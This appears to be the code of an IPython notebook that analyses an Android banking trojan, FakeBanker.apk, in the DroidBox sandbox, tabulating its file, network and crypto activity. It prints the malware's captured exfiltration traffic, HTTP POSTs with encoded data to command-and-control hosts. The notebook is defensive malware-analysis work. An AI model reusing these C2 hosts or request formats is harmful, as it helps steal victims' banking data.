1

root@kali:~# apt-get install python-virtualenv libatlas-dev liblapack-dev libblas-dev

1
2
3
4
5

root@kali:~/work/apk# mkdir env
root@kali:~/work/apk# virtualenv env
...
root@kali:~/work/apk# source env/bin/activate
(env)root@kali:~/work/apk# pip install numpy scipy matplotlib

1

(env)root@kali:~/work/apk# wget https://droidbox.googlecode.com/files/DroidBox411RC.tar.gz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

import os
import sys

# Setup new PATH
old_path = os.environ['PATH']
new_path = old_path + ":" + "/root/work/apk/SDK/android-sdk-linux/tools:/root/work/apk/SDK/android-sdk-linux/platform-tools:/root/work/apk/SDK/android-sdk-linux/build-tools/19.1.0"
os.environ['PATH'] = new_path

# Change working directory
os.chdir("/root/work/apk/DroidBox_4.1.1/")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

%pylab inline
import binascii
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import networkx as nx
import datetime as dt
import time
import ipy_table
from IPython.display import display_pretty, display_html, display_jpeg, display_png, display_json, display_latex, display_svg
from IPython.display import HTML
from IPython.core.magic import register_cell_magic, Magics, magics_class, cell_magic
import jinja2

# Ipython settings
pd.set_option('display.height', 1000)
pd.set_option('display.max_rows', 500)
pd.set_option('display.max_columns', 500)
pd.set_option('display.max_colwidth', 100)
pd.set_option('display.width', 1000)
pd.set_option('display.column_space', 1000)

1
2
3
4
5

# Install
%install_ext https://raw.githubusercontent.com/dorneanu/ipython/master/extensions/diagmagic.py
    
# Then load extensions
%load_ext diagmagic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

from IPython import display
from IPython.core.magic import register_cell_magic, Magics, magics_class, cell_magic
import jinja2

# <!-- collapse=True -->
def df2table(df):
    """ Outputs a DataFrame as a table using ipy_table """
    entries = [list(i) for i in df.itertuples()]
    
    # Extract table header
    header = list(df.columns)
    
    # Add index to header
    header.insert(0, df.index.name)
    
    # Insert header at 1st place
    entries.insert(0, header)

    return ipy_table.make_table(entries)

# Create jinja cell magic (http://nbviewer.ipython.org/urls/gist.github.com/bj0/5343292/raw/23a0845ee874827e3635edb0bf5701710a537bfc/jinja2.ipynb)
@magics_class
class JinjaMagics(Magics):
    '''Magics class containing the jinja2 magic and state'''
    
    def __init__(self, shell):
        super(JinjaMagics, self).__init__(shell)
        
        # create a jinja2 environment to use for rendering
        # this can be modified for desired effects (ie: using different variable syntax)
        self.env = jinja2.Environment(loader=jinja2.FileSystemLoader('.'))
        
        # possible output types
        self.display_functions = dict(html=display.HTML, 
                                      latex=display.Latex,
                                      json=display.JSON,
                                      pretty=display.Pretty,
                                      display=display.display)

    
    @cell_magic
    def jinja(self, line, cell):
        '''
        jinja2 cell magic function.  Contents of cell are rendered by jinja2, and 
        the line can be used to specify output type.

        ie: "%%jinja html" will return the rendered cell wrapped in an HTML object.
        '''
        f = self.display_functions.get(line.lower().strip(), display.display)
        
        tmp = self.env.from_string(cell)
        rend = tmp.render(dict((k,v) for (k,v) in self.shell.user_ns.items() 
                                        if not k.startswith('_') and k not in self.shell.user_ns_hidden))
        
        return f(rend)
        
    
ip = get_ipython()
ip.register_magics(JinjaMagics)

1
2

%%bash
android list targets | head -n 10

1
2
3
4
5
6
7
8
9

# android create avd --abi default/armeabi-v7a -n android-4.1.2-droidbox -t 1 -c 1000M
Android 4.1.2 is a basic Android platform.
Do you wish to create a custom hardware profile [no]
Created AVD 'android-4.1.2-droidbox' based on Android 4.1.2, ARM (armeabi-v7a) processor,
with the following hardware config:
hw.lcd.density=240
hw.ramSize=512
hw.sdCard=yes
vm.heapSize=48

1
2

%%bash
android list avd

1
2

%%bash
cat startemu.sh

1
2

(env)root@kali:~/work/apk/DroidBox# ./startemu.sh android-4.1.2-droidbox
...

1

!./droidbox.sh /root/work/apk/DroidBox_4.1.1/APK/FakeBanker.apk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# <!-- collapse=True -->
import json
import urllib
url = "http://pastebin.com/raw.php?i=7YSb3EMW"

# Load data
jsonurl = urllib.urlopen(url)
result = json.loads(jsonurl.read())

# Show dictionary keys
result.keys()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# <!-- collapse=True -->
# Convert timestamps to human readable time delta
timestamps = [str(datetime.timedelta(seconds=(round(float(i.encode("utf-8")))))) for i in result['fdaccess'].keys()]

# Create list of accessed files entries
accessed_files = [i[1] for i in result['fdaccess'].items()]

# Create dataframe
df_accessedfiles = pd.DataFrame(accessed_files, index=timestamps)
df_accessedfiles.sort(inplace=True)
df_accessedfiles.index.name='Timestamp'

# Unhexlify data
unhexed_data = [binascii.unhexlify(d) for d in df_accessedfiles['data']]
df_accessedfiles['rawdata'] = unhexed_data

df2table(df_accessedfiles[['operation', 'path', 'rawdata']].reset_index())
#ipy_table.apply_theme('basic')
df_accessedfiles[['operation', 'path', 'rawdata']].reset_index()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# <!-- collapse=True -->
# Convert timestamps to human readable time delta
timestamps = [str(datetime.timedelta(seconds=(round(float(i.encode("utf-8")))))) for i in result['opennet'].keys()]

# Create list of accessed files entries
open_net = [i[1] for i in result['opennet'].items()]

# Create dataframe
df_opennet = pd.DataFrame(open_net, index=timestamps)
df_opennet.sort(inplace=True)
df_opennet.index.name='Timestamp'


#df2table(df_opennet)
#ipy_table.apply_theme('basic')
df_opennet.reset_index()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# <!-- collapse=True -->
# Convert timestamps to human readable time delta
timestamps = [str(datetime.timedelta(seconds=(round(float(i.encode("utf-8")))))) for i in result['sendnet'].keys()]
# Create list of accessed files entries
send_net = [i[1] for i in result['sendnet'].items()]

# Create dataframe
df_sendnet = pd.DataFrame(send_net, index=timestamps)
df_sendnet.sort(inplace=True)
df_sendnet.index.name='Timestamp'

# Unhexlify data
unhexed_data = [binascii.unhexlify(d) for d in df_sendnet['data']]
df_sendnet['rawdata'] = unhexed_data

#df2table(df_sendnet[['desthost', 'destport', 'fd', 'operation', 'type', 'rawdata']])
#ipy_table.apply_theme('basic')
df_sendnet[['desthost', 'destport', 'fd', 'operation', 'type', 'rawdata']].reset_index()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# <!-- collapse=True -->
# Convert timestamps to human readable time delta
timestamps = [str(datetime.timedelta(seconds=(round(float(i.encode("utf-8")))))) for i in result['recvnet'].keys()]

# Create list of accessed files entries
recv_net = [i[1] for i in result['recvnet'].items()]

# Create dataframe
df_recvnet = pd.DataFrame(recv_net, index=timestamps)
df_recvnet.sort(inplace=True)
df_recvnet.index.name='Timestamp'

# Unhexlify data
unhexed_data = [binascii.unhexlify(d) for d in df_recvnet['data']]
df_recvnet['rawdata'] = unhexed_data

#df2table(df_recvnet[['host', 'port', 'type', 'rawdata']])
#ipy_table.apply_theme('basic')
df_recvnet[['host', 'port', 'type', 'rawdata']].reset_index()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

%%seqdiag
# <!-- collapse=True -->
seqdiag {
  application  -> citroen-club.ch [label = "POST /images/1.php HTTP/1.1"];
  application <-- citroen-club.ch [label = "HTTP/1.1 406 Not Acceptable", leftnote= ""];
  application --> best-invest-int.com [label = "POST /gallery/3.php HTTP/1.1", note = "POST data=U2ltU3RhdGUgPSBOT1QgUkVBRFkgCg%3D%3D%0A&rid=25"];
  application <-- best-invest-int.com [label = "HTTP/1.1 403 Forbidden"];
  application --> best-invest-int.com [label = "POST /gallery/4.php HTTP/1.1", note = "POST data=U2ltU3RhdGUgPSBOT1QgUkVBRFkgCg%3D%3D%0A&LogCode=CONF&LogText=Get+config+data+from+server"];
  application <-- best-invest-int.com [label = "HTTP/1.1 403 Forbidden"];
  application --> best-invest-int.com [label = "POST /gallery/4.php HTTP/1.1", note = "POST data=U2ltU3RhdGUgPSBOT1QgUkVBRFkgCg%3D%3D%0A&LogCode=DATA&LogText=Send+data+to+server&"];
  application <-- best-invest-int.com [label = "..."];
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

POST /gallery/4.php HTTP/1.1
User-agent: Mozilla/4.76 (Java; U;Linux i686 3.0.36-android-x86-eeepc+; ru; The Android Project 0)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Pragma: no-cache
Host: best-invest-int.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 86
Data Raw: 64 61 74 61 3d 55 32 6c 74 55 33 52 68 64 47 55 67 50 53 42 4f 54 31 51 67 55 6b 56 42 52 46 6b 67 43 67 25 33 44 25 33 44 25 30 41 26 4c 6f 67 43 6f 64 65 3d 43 4f 4e 46 26 4c 6f 67 54 65 78 74 3d 43 68 65 63 6b 2b 70 75 6c 6c 2b 6f 66 66 2b 75 72 6c 73 26 
Data Ascii: data=U2ltU3RhdGUgPSBOT1QgUkVBRFkgCg%3D%3D%0A&LogCode=CONF&LogText=Check+pull+off+urls&

1
2
3
4
5
6
7
8

HTTP/1.1 403 Forbidden
Date: Thu, 21 Nov 2013 12:37:26 GMT
Server: Apache/2.2.3 (CentOS)
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /gallery/4.phpon this server.</p><hr><address>Apache/2.2.3 (CentOS) Server at best-invest-int.com Port 80</address></body></html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# <!-- collapse=True -->
# Convert timestamps to human readable time delta
timestamps = [str(datetime.timedelta(seconds=(round(float(i.encode("utf-8")))))) for i in result['cryptousage'].keys()]

# Create list of accessed files entries
crypto_usage = [i[1] for i in result['cryptousage'].items()]

# Create dataframe
df_cryptousage = pd.DataFrame(crypto_usage, index=timestamps)
df_cryptousage.sort(inplace=True)
df_cryptousage.index.name='Timestamp'

# Unhexlify data
#unhexed_data = [binascii.unhexlify(d) for d in df_recvnet['data']]
#df_recvnet['rawdata'] = unhexed_data

#df_recvnet[['host', 'port', 'type', 'rawdata']]
df_cryptousage.reset_index()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# <!-- collapse=True -->
# Create df
df_activities = pd.DataFrame(columns=[['Timestamp', 'Operation', 'Category']])

# file system access
accessed_files = df_accessedfiles.reset_index()[[0,3]]
accessed_files['Category'] = "file system"
accessed_files.columns = ['Timestamp', 'Operation', 'Category']

# network activities
network_open = df_opennet.reset_index()[[0]]
network_open['Operation'] = 'net open'
network_open['Category'] = 'network'
network_open.columns = ['Timestamp', 'Operation', 'Category']

network_sent = df_sendnet.reset_index()[[0,6]]
network_sent['Category'] = "network"
network_sent.columns = ['Timestamp', 'Operation', 'Category']

network_recv = df_recvnet.reset_index()[[0,4]]
network_recv['Category'] = "network"
network_recv.columns = ['Timestamp', 'Operation', 'Category']

# crpyto usage
crypto_usage = df_cryptousage.reset_index()[[0,1]]
crypto_usage['Category'] = "crypto"
crypto_usage.columns = ['Timestamp', 'Operation', 'Category']

# Merge data frames
df_activities = pd.concat([accessed_files, network_open, network_sent, network_recv, crypto_usage], ignore_index=True)
df_activities.sort('Timestamp', inplace=True)

# Convert to JSON
d = df_activities.to_json(orient='records')
json_data = json.dumps(json.loads(d), ensure_ascii=False).encode("utf-8")

df_activities

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

%%jinja html
<!-- collapse=True -->
<html>
<head>
  <script src="http://d3js.org/d3.v3.min.js"></script>
  <script src="http://dimplejs.org/dist/dimple.v2.1.0.min.js"></script>
<title>{{ title }}</title>
</head>
<body>
<div id="bar_chart"></div>
  <script type="text/javascript">
    var json_data  = {{ json_data }};
    var svg = dimple.newSvg("#bar_chart", 800, 800);
    var myChart = new dimple.chart(svg, json_data);
    myChart.setBounds(150, 50, 700, 680)
    myChart.addCategoryAxis("x", ["Category", "Operation"]);
    myChart.addCategoryAxis("y", "Timestamp");
    myChart.addSeries("Operation", dimple.plot.bar);
    myChart.addLegend(170, 10, 630, 20, "right");
    myChart.draw();
  </script>
</body>
</html>

1

HTTP/1.1 406 Not Acceptable\r\nDate: Mon, 28 Jul 2014 13:29:38 GMT\r\nServer: Apache\r\nContent-...

1

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n<map>\n<string name="DOWNLOADDOMAIN">c...